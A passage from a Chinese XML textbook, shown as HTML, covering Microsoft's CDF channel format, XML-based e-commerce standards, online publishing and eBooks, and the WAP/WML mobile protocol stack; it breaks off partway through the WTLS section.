<P>使用过IE的人可能都知道，频道使Web站点能自动通知读者重要信息的变化，这种技术称为“Web广播”（Web Casting）或“推送”（push）。可能Microsoft早期希望将CDF发展成为一个标准，因此在CDF推出初期将其提交给了W3C，但W3C对CDF显然不够热心，自从1997年3月9日提交后，W3C一直没有正式承认接收该规范，而且估计以后也不会采取进一步的动作。因此Micosoft在以后的CDF版本更新都没有公布其完整文档。现在唯一支持CDF的浏览器就是Internet Explorer（4.0以上版本），其他的浏览器都不支持而且似乎也不准备支持CDF。</P>
<P>CDF文件是一个定义了读者和站点内容的连接参数的XML文件，它与站点上的HTML文件分开，但链接到某个或某几个HTML文件上。浏览器根据定义的参数决定新内容传递的方式，包括： 
<UL>
<LI>将频道添加到频道栏并且订户可以随时检查； 
<LI>新内容通过电子邮件通知订户，订户可以随时加载频道； 
<LI>浏览器定期检查站点并自动更新和下载改变的内容。 </LI></UL>
<P>CDF文件是站点的附加物，通常将定义好的CDF文件链接在站点的主页，比如可以在主页中插入如下链接：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;A HREF="website.cdf"&gt;订阅该站点&lt;/A&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>如果用户使用的是支持CDF的浏览器，可以点击这个链接订阅该频道。否则将下载这个CDF文件。</P>
<P>CDF实际上是Micosoft用XML定义的一个词汇表。下面是Internet Explorer自带的一个简单的CDF文件，本例并没有包括所有的CDF元素，只是希望通过这个例子说明CDF和XML的关系。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?XML VERSION="1.0" ENCODING="gb2312"?&gt;<BR>&lt;CHANNEL HREF="http://www.zdnet.com.cn/channel/welcome.htm"&gt;<BR>&nbsp; &lt;ABSTRACT&gt;最丰富的电脑业界信息，成功源自您的信任。&lt;/ABSTRACT&gt;<BR>&lt;/CHANNEL&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>其中第一行是XML声明。第二行是CDF文件的根元素CHANEL，它是CDF文件唯一要求的元素，根元素CHANEL必须包含一个HREF属性以指定监视修改的页面。第三行是ABSTRACT元素，其内容是描述频道的文本，该描述通常出现在频道栏的工具提示窗口。</P>
<P>关于CDF词汇表的其他元素，本节不再做详细介绍。一方面原因在于CDF并没有获得业界的广泛支持，另一方面在于Microsoft没有公布当前版本CDF的完整DTD。而且Microsoft提供了一个软件CDF Generator（http://msdn.microsoft.com/downloads/tools/3rdparty/423.asp），可以利用它生成自己站点的CDF文件，根本无需了解CDF的内部细节，下图是CDF Generator运行时的主界面。</P><FONT face=宋体 size=3>
<P align=center><IMG height=356 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.2218/www.17t8.com/xmlbook/image/TU000000-1002-0200-01.gif" width=494></FONT></P>
<P>如果你确实希望了解CDF的内部细节，可以在<A href="http://www.w3.og/TR/Note-CDFSubmit.html">http://www.w3.og/TR/Note-CDFSubmit.html</A>处获取早期的CDF定义文档，但这是一个过时的文档，与CDF的当前版本有一定差距。当前版本的CDF定义可以参见MSDN文档（Microsoft Develop Network）和Microsoft的站点（<A href="http://www.microsoft.com/">http://www.microsoft.com/</A>）。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>10.3.1 XML——电子商务的基石</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>简而言之，电子商务就是利用电子手段尤其是互联网进行商务活动。电子商务的出现和发展，已经并仍然在改变个人和团体的商务活动的模式。电子商务延伸了商务联系，能够极大地降低成本，加快商品和资金流通的速度，增强市场信息的可预测性和各种商务活动的可控制性。不难看出，将来能在市场中取胜的，必是能充分利用电子商务的商家。</P>
<P>从技术上说，电子商务是通过互联网传输和交换商务数据，并能根据商务数据进行人工或自动处理。数据的标准化在数据传输和交换过程中起着至关重要的作用，它决定了数据的语义，增强了数据的可读性和可理解性。XML的可扩展性和自相容性，使它成为数据标准化和信息交换的有力工具。</P>
<P>电子商务的发展，首先出现的是企业－消费者（B2C）和消费者－消费者（C2C）模式。在这些模式当中，由于数据的传输路径是Web服务器－浏览器或者浏览器－Web服务器－浏览器，数据最后发布在浏览器上，供人们阅读和理解，侧重于信息对人的可理解性，因此数据表现被提到一个重要的地位，数据的结构化显得较为次要一些，侧重于数据表现的HTML基本上能够满足这些应用。但是随着电子商务的发展，HTML在B2C和C2C这两种模式中已经开始显得力不从心。</P>
<P>首先，我们知道，从数据库提取信息生成HTML页面后，信息的语义、结构已消失殆尽，如果建立在其基础上的进一步应用需要用到这种结构化信息，开发就非常困难。例如现在电子商务中时兴的比较购物，它需要在各个电子商务网站的页面中抓取商品的信息，将同一品名的商品放在一起比较。如果各个电子商务网站都按照自己的方式组织页面，对于从事比较购物的网站，难度就可想而知。</P>
<P>相反，XML可以保持数据的结构。现有的主流关系数据库如SQL Server 7.0、Oracle 8i和Informix等都提供了对XML的支持，可以直接保存或生成XML文件。再为其配上相应的XSL样式文件，就可以将数据直接显示在浏览器上。而且，XML使得数据在数据库之间交换显得非常容易，有人预测，XML将是数据在数据库之间交换时的标准方式。</P>
<P>其次，现在很多电子商务网站都提供个性化服务，例如Web服务器可以根据客户的定制生成和传输不同的页面。事实上，不同显示效果的页面之后的数据是相同的，因而一个自然的想法就是将数据及其表现分离开来。显然，XML在这方面比HTML要擅长得多。利用XSL，无须改变数据内容本身，只传送样式文件就可以实现页面的重新显示。</P>
<P>随着企业－企业电子商务（B2B）尤其是供应链管理的出现，数据的传输路径转变为Web服务器－Web服务器，数据的传输过程不需要浏览器。Web服务器不仅需要接收对方传送的数据，而且还应该能够理解数据的含义，并能根据数据作出相应的处理。两个Web服务器直接进行通信，无需人工干预，在这种情况下，数据的结构化和标准化就显得至关重要。</P>
<P>在电子商务的发展过程中，传统的EDI作为数据交换的方式，对数据的标准化起到了重要的作用。EDI将商业文件如订单、发票、货运单、报关单等按统一的标准，编制成计算机能够识别和处理的数据格式，在计算机之间进行传输。不过，传统EDI存在着巨大的局限性： 
<UL>
<LI>首先，EDI需要建设专用网络，开发专用程序，投入巨大，因此它的应用往往仅局限于少数大银行和大企业。 
<LI>其次，EDI数据侧重于信息对机器的可读性，人工阅读EDI数据简直就是灾难。 
<LI>再次，所有EDI数据都不能通过Web来进行数据搜索和定位，也无法在Web上显示，而这正是那些现代INTERNET小型企业与一些不固定商业伙伴进行小型交易的最基本要求。 
<LI>最后，传统EDI经过几十年的发展，EDI信息标准仍然得不到统一，没有形成一个全球通用的标准。现在国际上存在两大标准体系：一个是流行于欧亚由联合国欧洲经济委员会（UN/ECE）制订的UN/EDIFACT；另一个是流行于北美由美国国家标准化委员会（ANSI）制订的ANSI X1.2标准。此外，各行业也有自己的行业标准，如：CIDX（化工）、VICX（百货）、TDCC（运输业）等。 </LI></UL>
<P>XML自从出现以来，以其可扩展性、自描述性、自相容性等优点，被誉为信息标准化过程的有力工具，基于XML的标准将成为以后信息标准的主流。由于XML提供了一个四海通行的方法来传送自我描述的资料，因此它是将文件和结构化资料一起移动和沟通的最佳机制。不过，为了保护企业在EDI上的巨大投资，传统的EDI也没有被彻底废除，而是与XML相结合，形成了XML-EDI。</P>
<P>XML技术对电子商务有重大影响，XML的人机互动式架构提供了使用者与电脑之间的互动交流，利用其可延伸性及自我描述特性，电子通讯文件可以在企业间的应用程式中自动传输、处理及储存，不同厂商的电子商品目录可以在同一个使用者界面同时呈现，资讯的搜寻变得更为精确快速，不同系统间可以流畅地互通，不同网站之间的资料得以动态共享，强化了使用者与系统之间的聚合性。</P>
<P>据Gartner的估计，三年以后到2003年，企业―企业的网上数据流量，将10倍于企业―个人的网上数据流量，而其中80%的数据，将采用XML格式。由于XML为信息的自动交换提供了必要的技术支持，因此有人提出“eXe”将成为最基本的连接模式，其中的“e”是指企业(enterprise)，而“X”就是XML。</P></DIV>
<P></P>
<DIV class=pt10><B>10.3.2 电子商务中的XML“构件”</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>自从XML出现以来，基于XML的应用取得了长足的发展，随着客户化工具的出现，浏览器对XML支持的增强，可以说基于XML的电子商务已经基本准备就绪。 
<OL>
<LI><STRONG>成熟的标准体系</STRONG> </LI></OL>
<P>自从XML1.0规范成为正式标准以来，XML的整个标准体系正在逐步成熟。虽然还有许多XML相关的规范正在制订之中，但对电子商务的应用而言，也许只需要XML和XSLT就足够了。电子商务的方案提供商和组织利用XML定义标准和词汇表，网站的建设者则利用XSLT将XML文件转化为HTML文件或其他的XML文件，并显示在浏览器或其他显示设备中。</P>
<P>现在已经有很多企业和组织开始利用XML定义标准和词汇表，形成了一些标准，而且每个标准都有一些工具和应用厂商支持，为从事电子商务的人们提供了许多选择。不过，也许对于定义这些新标准的人而言，现有的标准体系还存在一个“洞”需要填充，这就是schema规范。在schema成为正式标准之前，DTD仍然是定义标准和词汇表时的唯一选择。 
<OL start=2>
<LI><STRONG>客户化工具</STRONG> </LI></OL>
<P>自从XML出现以来，人们抱怨最多的也许就是客户化工具的缺乏，尤其是可视化工具。人们希望能够象利用现有的HTML编辑器生成HTML文件一样，能够有可视化的XML编辑器能够直接生成XML文件和XSL文件，无需详细了解XML内部的机制。随着时间的推移，可视化的XML工具已经开始出现，比如SoftQuad的XmetaL和eXcelon的Object Design都提供了可视化编辑XML的能力。除此之外，软件提供商还为XML提供了各式各样的小工具，包括XML服务器，schema设计工具等等。</P>
<P>XML的客户化工具为XML使用者提供了巨大的支持，他们可以无需了解XML的内部机制，直接使用XML，使得XML的广泛应用成为可能。 
<OL>
<LI type=disc value=3><STRONG>浏览器支持</STRONG> </LI></OL>
<P>也许人们会担心浏览器对XML的支持情况。事实上，当前的主流浏览器中，IE5.0已经有了一个内置的XML分析器和XSL转换器，Netscape对XML的支持落在了后面，仅限于XML分析。随着时间的推移，相信浏览器对XML的支持将会越来越强。</P>
<P>但是，即使没有本地的浏览器支持，XML的应用仍然不成问题。对于大多数应用而言，数据可以放在数据库中，需要时将数据取出来形成XML文件，然后加上XSL文件，在服务器端生成HTML文件，发送到浏览器上。甚至于可以在服务器端判断客户端的显示设备，根据显示设备应用不同的样式单，生成显示设备能够支持的页面发送过去。至于XML文件的生成，如果数据库支持XML，可以从数据库直接存取XML文件；如果数据库不支持XML，工作可能要多一些，系统需要把查询结果（一般而言是一个二维表）转化为XML。</P></DIV>
<P></P>
<DIV class=pt10><B>10.3.3 基于XML的电子商务标准</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>当前，基于XML的电子商务标准比较多，一般也比较复杂。在5.3.5小节中我们简要地介绍了其中的几个，本节仍不打算深入标准的内部去探讨其实现，任何一个标准的深入介绍都足以形成一本专著，我们只帮助大家归纳一下这些主要标准的体系构架。</P>
<P>当前的电子商务标准可以分为以下三类： 
<UL>
<LI>体系结构相关的标准：这类标准关心的是整个电子商务的体系结构，包括通用XML消息的标准，schema库等； 
<LI>功能相关的标准：这类标准关心供应链中各个环节的数据交换； 
<LI>业界相关的标准：这类标准与所涉及的行业相关，是某个行业内部的数据交换标准。 </LI></UL>
<OL>
<LI><STRONG>体系结构相关的标准</STRONG> </LI></OL>
<P>这类标准主要包括几个正在制定和已经完成的体系。 
<UL>
<LI><STRONG><EM>BizTalk</EM></STRONG><BR>BizTalk是Microsoft发起的电子商务的schema库，配合的产品有Microsoft的BizTalk服务器。在3.2.3节中我们曾给出了关于它的详细介绍。 
<LI><EM><STRONG>ebXML</STRONG></EM><BR>ebXML是联合国UN/CEFACT小组和OASIS共同发起的计划，要在15-18个月内制定出基于XML的全球范围的电子商务数据交换的标准。ebXML涉及的方面比较广，包括： 
<UL>
<LI>体系结构 
<LI>核心部件 
<LI>消息的封装和传输 
<LI>注册和保存schema的库 
<LI>业务处理模式 </LI></UL>
<P>这个标准正在制定中，期望会是一个比较全面的标准。它的Requirment、消息封装和传输已经有草案。</P>
<LI><EM><STRONG>eCo</STRONG></EM><BR>eCo是CommerceNet 1998年就开始的一个计划，CommerceNet是由银行、通讯公司、增值网提供商、ISP、在线服务，软件和服务公司和最终用户等组成的协会，现有成员600多家公司和组织，其目的是促进B2B电子商务的发展。eCo的体系结构有点儿象网络的分层结构，它分为七层： 
<UL>
<LI>网络（networks） 
<LI>市场（markets） 
<LI>业务（businesses） 
<LI>服务（services） 
<LI>交互作用（interactions） 
<LI>文档（documents） 
<LI>信息项（information items） </LI></UL>
<P>每一层都有类型注册，接口是向外发布的，文档要包裹一层（document wrapper），发布的接口必须有一些必要的方法进行查询，查询返回的文档是特定的DTD的xml文档，每层的方法和返回的文档的结构都在规范中有描述。<BR>后两层eCo推荐使用simple_EDI和xCBL这两种XML的交换格式。</P>
<LI><EM><STRONG>RosettaNet的PIP（Partner Interface Process）和RosettaNet应用网络标准</STRONG></EM>。<BR>RosettaNet由诸多IT业的巨子组成的一个标准化组织，目前会员包括象Cisco Systems、Compaq、GE、HP、IBM、Intel、Microsoft、NEC、Oracle等60个企业，目的是制定一个适用于IT产品，通过WEB技术在网络上实时进行企业级交易的电子商务标准。这个标准也是分层结构，包括： 
<UL>
<LI>动作（Action） 
<LI>事务（Transaction） 
<LI>处理（Process） 
<LI>服务（Sservices） 
<LI>消息处理（Message Handling） 
<LI>代理（Agent） 
<LI>传输（Transfer） 
<LI>安全（Security） </LI></UL>
<P>每一层的消息都会加一些信息上去，如header，它的消息都是http的MIME消息，其中的XML正文是内容。这个标准比较注重事务处理和安全性。RosettaNet用guideline定义和约束供应链中的消息。guideline其实就是消息的DTD及其说明，但其描述能力比DTD强。</P></LI></UL>
<OL start=2>
<LI><STRONG>功能相关的标准</STRONG> </LI></OL>
<P>这类标准关心电子商务的具体环节的数据交换。<STRONG><EM>XML/EDI</EM></STRONG>就是这一类的标准，另外，我们前面讲到的<EM><STRONG>xCBL</STRONG></EM>、<EM><STRONG>tpaML</STRONG></EM>、<STRONG><EM>cXML</EM></STRONG>、<STRONG><EM>WIDL</EM></STRONG>（Web界面定义语言）和<EM><STRONG>OTP</STRONG></EM>（开放贸易协议）也都属于此类。 
<OL start=3>
<LI><STRONG>业界相关的标准</STRONG> </LI></OL>
<P>这类标准主要涉及一个行业，定义行业内部的词汇表。由于它们涉及的是特定的行业，因此数量非常的多，而且随着时间的推移，这类标准将更多。这里给出两个典型的例子： 
<UL>
<LI><STRONG><EM>开放金融交换格式（Open Financial Exchange Format，简写为OFX）</EM></STRONG>，是一种用于描述保存在个人财务软件中的金融数据的标准。 
<LI><EM><STRONG>个性化印刷置标语言（Personalized Print Markup Language，简写为PPML）</STRONG></EM>，是PODi组织于2000年2月发布的个性化印刷格式语言，并已开发出相应的产品，该标准用于按需印刷（ondemand-print）。 </LI></UL></DIV>
<P></P>
<DIV class=pt10><B>10.4.1 网络出版</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>随着网络的飞速发展，互联网已经成为继报刊、电台、电视台之后的一种新型媒体。在1998年5月举行的联合国新闻委员会年会上，互联网被正式冠以“第四媒体”的称号。</P>
<P>相对于传统媒体，数字化的第四媒体具有难以比拟的优点。它具有信息的综合性和丰富性、充分的互动性与开放性、信息传递的快捷与超时空以及信息的大容量和灵活性。因此，互联网出现以来，就受到一些传统媒体如美联社、路透社、CNN等的关注，它们迅速登陆互联网，利用互联网提供新闻和经济信息服务。现在的网络媒体基本上可以划分为以下几类：传统媒体上网、传统媒体与其他行业共建网站、无传统媒体依托的网络媒体。也正是由于传统媒体和网络媒体的广泛合作，使得跨媒体出版愈来愈成为一种趋势。</P>
<P>网络出版自从出现以来，用于信息发布的主要是HTML技术，但是这种方式在跨媒体出版时遇到了极大的困难。比如现在的报纸大多需要同时在网上发布和印刷发行，报社不得不需要两组人力，同时进行印刷组版和网络组版。下图示意了大多数报纸的现行作业：</P>
<P align=center><IMG height=102 alt="TU000000-1004-0100-01.gif (6000 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.3562/www.17t8.com/xmlbook/image/TU000000-1004-0100-01.gif" width=300></P>
<P>如果能够将筛选编辑过程合并，然后分别进行组版，就可以节省人力，从而达到降低成本的目的，如下图：</P>
<P align=center><IMG height=102 alt="TU000000-1004-0100-02.gif (4397 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.3562/www.17t8.com/xmlbook/image/TU000000-1004-0100-02.gif" width=300></P>
<P align=left>另外，随着后PC时代的到来，各种如信息家电、手机、PDA等新的上网设备层出不穷。单独的HTML已经不能满足网络出版的需求，显示语言也各不相同。如果根据显示设备的要求制作多个版本会造成人力物力的巨大浪费，系统需要一种制作一次出版多次的技术。XML的内容与显示相分离的特点，使得它在跨媒体出版上有着得天独厚的优势，如图所示：</P>
<P align=center><IMG height=137 alt="TU000000-1004-0100-03.gif (7870 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.3562/www.17t8.com/xmlbook/image/TU000000-1004-0100-03.gif" width=300></P></DIV>
<P></P>
<DIV class=pt10><B>10.4.2 电子书与OEB</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>随着互联网技术的发展，人们希望能够在线阅读书或报纸，于是乎电子书和电子报纸应运而生。</P>
<P>电子书和电子报纸分别是eBook与eNewspaper的中文译名，是互联网发展的又一新兴产物。它们分别采用数据化文档的形式组织书和报纸的内容，读者可通过特制的阅读工具来阅读其中的内容。</P>
<P>目前已经上市的eBook阅读器有四种，它们是SoftBook公司推出的SoftBook、 NuvoMedia推出的RocketBook、GlassBook推出的GlassBook和EveryBook推出的EB Dedicated Reader。其外观分别如图所示：</P>
<DIV align=center>
<CENTER>
<TABLE width="90%" border=1>
<TBODY>
<TR>
<TD width="50%"><FONT face=宋体 size=3>
<P align=center><IMG height=126 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.9218/www.17t8.com/xmlbook/image/TU00000-1004-0200-01.gif" width=119></FONT><BR><FONT face=宋体 size=2>SoftBook</FONT></P></TD>
<TD width="50%">
<P align=center><FONT face=宋体><FONT size=2><IMG height=105 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.9218/www.17t8.com/xmlbook/image/TU00000-1004-0200-02.gif" width=100></FONT><BR><FONT size=2>RocketBook</FONT></FONT></P></TD></TR>
<TR>
<TD width="50%">
<P align=center><FONT face=宋体><FONT size=2><IMG height=134 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.9218/www.17t8.com/xmlbook/image/TU00000-1004-0200-03.gif" width=207></FONT><BR><FONT size=2>打开的EveryBook</FONT></FONT></P></TD>
<TD width="50%">
<P align=center><FONT face=宋体><FONT size=2><IMG height=125 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.9218/www.17t8.com/xmlbook/image/TU00000-1004-0200-04.gif" width=184></FONT><BR><FONT size=2>关闭的EveryBook</FONT></FONT></P></TD></TR>
<TR>
<TD align=middle width="100%" colSpan=2><FONT face=宋体 size=2><IMG height=164 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.9218/www.17t8.com/xmlbook/image/TU00000-1004-0200-05.gif" width=199><BR></FONT>GlassBook</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>这些电子书阅读器都可以通过连线与计算机相连，然后下载网上书店的书籍，并具有加书签、标注和书架管理等功能。可以想象，电子书的普及将改变目前传统出版的工作流程，对面向以纸介质为主要承印物的传统的出版及印刷行业会造成较大的冲击。 </P>
<P>随着电子书的出现，另一种新媒介——电子报纸也呼之欲出。新型的电子报纸既不同于传统的纸介质报纸，也不同于电子书阅读器所采用的LCD液晶显示器，它是用全新的材料制作而成。“纸”的材料采用一种类似于玻璃纤维的物理材料，而“墨”则是一种新研制的电子墨，如下图所示。目前IBM、施乐、eInk等公司正在致力于eNewsPaper的阅读器及电子墨的研究，并已有原型产品诞生。 </P><FONT face=宋体 size=3>
<P align=center><IMG height=178 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.9218/www.17t8.com/xmlbook/image/TU000000-1004-0200-06.gif" width=233></FONT></P>
<P>有了电子书和电子报，可大大减少纸张的消耗，节约资源。另外，在办公、出游时携带薄薄的一本电子书，相当于随身携带一个小型的图书馆，信息、资料一应俱全，真是方便之至。</P>
<P>eBook近两年来发展很快，受到了包括作家、出版商、书刊销售商、软件开发公司、硬件制造厂商的普遍关注，并成立了一个由四十多个组织组成的Open eBook Authoring Group（以下简称为OEB组织）。参加的组织中有eBook先锋Nuvomedia Inc.、SoftBook Inc.、GlassBook Inc、Libius Inc.、EveryBook Inc.，以及Microsoft、Adobe、Motorola、Nokia等一大批软件及硬件厂商，还包括了一些著名的印刷出版商。经过OEB组织的努力，于1999年9月21日完成了OEB1.0标准的制定，从此eBook有了统一的文档数据格式标准。</P>
<P>OEB1.0是“Open eBook Structure Specification 1.0”的缩写，OEB文档基于HTML和XML语言，是标准的XML文档。它的出台，从根本上统一了eBook的文档数据存储方式，保证了消费者购买任何一个品牌的阅读机都可正确阅读eBook文档，使得消费者不用承担由于购买阅读机而带来的格式兼容方面的风险，奠定了建立eBook市场的坚实基础。在5.3.7节中，我们给出了对于OEB的简要介绍。</P>
<P>随着Internet应用的普及，eBook和eNewsPaper将得到广泛的应用。前面所介绍的几种电子书的阅读机厂家都拥有自己的网上书店，开数字化书刊出版及发行的先河，必将带动整个行业进一步向数字化发展。进入到21世纪以后，中国的网上书店也如雨后春笋，显示出勃勃生机与发展实力，目前已有企业在进行eBook的研究与开发，台湾也有厂商投资生产eBook阅读机，相信不久将会看到中文eBook阅读机的面世。这是一个刚刚启动的市场，也是一个极有潜力的市场。它将极大地促进网络出版的发展，它的出现，标志着印刷出版业进入到了一个崭新的时代。 <BR></P></DIV>
<P></P>
<DIV class=pt10><B>10.5 XML与移动通信</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>1990年以来，互联网和移动通信的发展极大地改变了人们的生活、学习和工作。人们不仅仅将互联网视为一种手段或工具，更将它视为一种生活方式，他们要求能够随时随地与互联网保持连接，并且能够在移动中获取信息。但是由于互联网需要与固定的有线网相连，无法满足人们的这个需要。移动电话生产商和电信运营商顺应人们需求，利用无线上网技术，将互联网与无线网结合起来。</P>
<P>随着移动电话与互联网结合，无线上网的趋势正在形成，新的移动通信标准使得移动终端的带宽可以达到最高2Mbps。有人预言，随着无线带宽的增加和无线上网技术的迅速发展，.move将替代.com成为新的潮流。一些网络先锋将电子商务应用与无线上网结合起来，开始展开移动电子商务的业务。在这过程当中，WAP（Wireless Application Protocol）起着决定性的作用。</P>
<P>WAP的提出是为了满足人们在移动中连接互联网的需要，相对互联网而言，无线数据网络的带宽窄，连接的稳定性差，手机的CPU功率相对于PC会更小，内存和显示器更小，输入设备更为简单等等。由于无线网络和移动设备的这些特点，使得WAP规范无法直接利用互联网的技术和标准，而必须重新定义符合移动设备和无线网络特点的规范。1997年6月，Phone.com联合了Nokia、Ericsson、Motorola合作建立了WAP论坛，旨在利用已有的互联网技术和标准，为移动设备连接互联网建立全球性的统一规范。它们的工作很快有了成果，在1998年5月，推出了WAP规范（Specification）1.0版，并于1999年11月发布最新的1.2版。</P>
<P>WAP规范1.2版包括了31个文件，它定义了一种无线应用程序的编程模型和语言，并且定义了一套用来实现无线互联网访问的规范。其中主要定义了以下几种组件： 
<OL>
<LI><STRONG>WAP编程模型</STRONG> </LI></OL>
<P>这个模型在很大程度上利用了现有的WWW编程模型，这样可以给应用开发人员带来许多好处，可以最大限度地利用他们原来掌握的经验和各种开发工具。WAP编程模型还针对无线环境的通信特点对原有的WWW编程模型进行了优化和扩展，见图示：</P>
<P align=center><IMG height=106 alt="TU00000-1005-0000-01.gif (8565 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.5515/www.17t8.com/xmlbook/image/TU00000-1005-0000-01.gif" width=300></P>
<OL start=2>
<LI><STRONG>无线置标语言（WML）</STRONG> </LI></OL>
<P>WML是利用XML1.0标准定义的面向显示的置标语言，特别适合于在性能方面严重受限的手持设备。WML和WML Script并不要求用户使用传统的PC机键盘或鼠标进行输入，而且它设计时就考虑到了手机的屏幕尺寸限制。使用WAP网关，所有的WML内容都可以通过Internet使用HTTP 1.1请求进行访问，因此传统的Web服务器、工具和技术可以继续使用。在5.3.6节中对WML给予了详细的描述。 
<OL start=3>
<LI><STRONG>微浏览器规范</STRONG> </LI></OL>
<P>这个规范与标准的Web浏览器规范类似，它定义了一个适合于手持设备的功能强大的用户接口模型。这个规范定义手机如何解释WML和WMLScript并且显示给用户。</P>
<P>用户通过上移键和下移键而不是鼠标在各个卡之间来回进行导航。为了保持与标准浏览器的一致，微浏览器还提供了各种导航功能如Back、Home、书签等。微浏览器允许具有较大屏幕和更多特性的设备自动显示更多的内容，就像传统的浏览器当浏览窗口扩大时能显示更多的信息一样。 
<OL start=4>
<LI><STRONG>轻量级协议栈</STRONG> </LI></OL>
<P>这个协议栈将无线手机访问Internet的带宽需求降到最低，保证了各种无线网络都可以使用WAP规范。通过使用WAP协议栈可以节省大量的无线带宽。要完成同样一个访问操作，使用WAP协议栈涉及到的包数量不到使用全标准的HTTP/TCP/IP协议栈的一半，这对于带宽严重受限的无线网络来讲无疑是十分有用的。 
<OL start=5>
<LI><STRONG>无线电话应用（WTA）框架</STRONG> </LI></OL>
<P>它允许无线手机访问各种电话功能如呼叫控制和来自WML Script applet中的信息。这允许商家开发各种电话应用并且将其集成到WML/WML Script服务中。如呼叫转移这样的服务，商家可以提供一个用户接口，提醒用户是准备接受呼叫、转移到他处还是将其转发成一个语音邮件。 
<OL start=6>
<LI><STRONG>WAP网关</STRONG> </LI></OL>
<P>WAP规范使用标准的Web代理技术将无线网络与Web连接起来。通过将处理功能集中在WAP网关中，WAP结构大大减少了手机上的操作负载，因此为手机实现价廉物美提供了基础。如，一个WAP网关一般可以使用所有的DNS服务来解析URL中使用的域名，因此就不再需要手机来完成这个计算任务。还可以利用WAP网关来为用户提供各种服务并且可以帮助网络服务商防止诈骗和服务利用, 见下图。</P>
<P align=center><IMG height=89 alt="TU00000-1005-0000-02.gif (8722 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.5515/www.17t8.com/xmlbook/image/TU00000-1005-0000-02.gif" width=300></P>
<P align=left>一个WAP网关一般包括以下功能：</P>
<UL>
<LI>
<P align=left>协议网关：协议网关将来自WAP协议栈的请求翻译到WWW协议栈（HTTP和TCP/IP）中；</P>
<LI>
<P align=left>内容编码器和解码器：内容编码器将Web内容翻译成紧密编码的格式，以减少通过无线数据网络传输的数据包的大小和数量。</P></LI></UL>
<P align=left>下面，我们再来详细讲一讲所谓的WAP协议栈。如下图所示，WAP的协议栈采用层次化设计，这为应用系统的开发提供了一种可伸缩和扩展的环境。每层协议栈均定义有接口，可被上一层协议所使用，亦可被其他的服务或应用程序直接应用。在设计中，WAP充分借鉴了Internet的协议栈思想，并加以修改和简化，使之可以有效应用于无线应用环境。</P>
<P align=center><IMG height=202 alt="TU00000-1005-0000-03.gif (23050 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX32.5515/www.17t8.com/xmlbook/image/TU00000-1005-0000-03.gif" width=400></P>
<OL>
<LI>
<P align=left><STRONG>WAE层</STRONG><BR>WAE（Wireless Application Enviroment，无线应用环境）是一个结合了WWW和移动通信技术的常用编程环境。WAE的主要目的，就是要建立一个可互操作的环境，以便在用户终端部分和服务供应商部分开发程序或提供服务，而不去考虑各种无线网络平台的不同。WAE包括一个微浏览器环境，以及： </P></LI></OL>
<BLOCKQUOTE>
<UL>
<LI>
<P align=left>WML（Wireless Markup Language）。这是WAP制定的基于XML的置标语言； </P>
<LI>
<P align=left>WMLScript。这是对WML语言的补充，与JavaScript很相似； </P>
<LI>
<P align=left>WTA/WTAI（Wireless Telephony Application）。这是一个通信服务和编程接口； </P>
<LI>
<P align=left>内容格式。这是WAP定义的一组数据格式，其中包括图片，电话簿，日历信息等等。 </P></LI></UL></BLOCKQUOTE>
<OL start=2>
<LI>
<P align=left><STRONG>WSP层</STRONG><BR>WSP（Wireless Session Protocol，无线会话协议）是WAP的应用程序层，用于对两种会话服务提供统一的接口：一种是建立在事务层协议WTP基础上的面向连接的（connection-oriented）服务，另一种是建立在安全或非安全的数据报文（datagram）服务（WDP）基础上的无连接服务。 </P>
<LI>
<P align=left><STRONG>WTP层</STRONG><BR>WTP（Wireless Transaction Protocol，无线事务协议）运行于数据报文服务之上，并提供部分的面向事务（transaction-oriented）协议（因为移动数字终端属于“瘦”客户端，及它无法支持大数据量的事务服务）。 </P>
<LI>
<P align=left><STRONG>WTLS层</STRONG><BR>WTLS（Wireless Transport Layer Security，无线传输层安全）是WAP在另一个工业标准TLS（Transport Layer Secureity，传输层安全）协议的基础上制定的一个安全协议。其制定的目的就是在窄带宽的通讯频道上安全地使用WAP的传输协议。</P>
<LI>
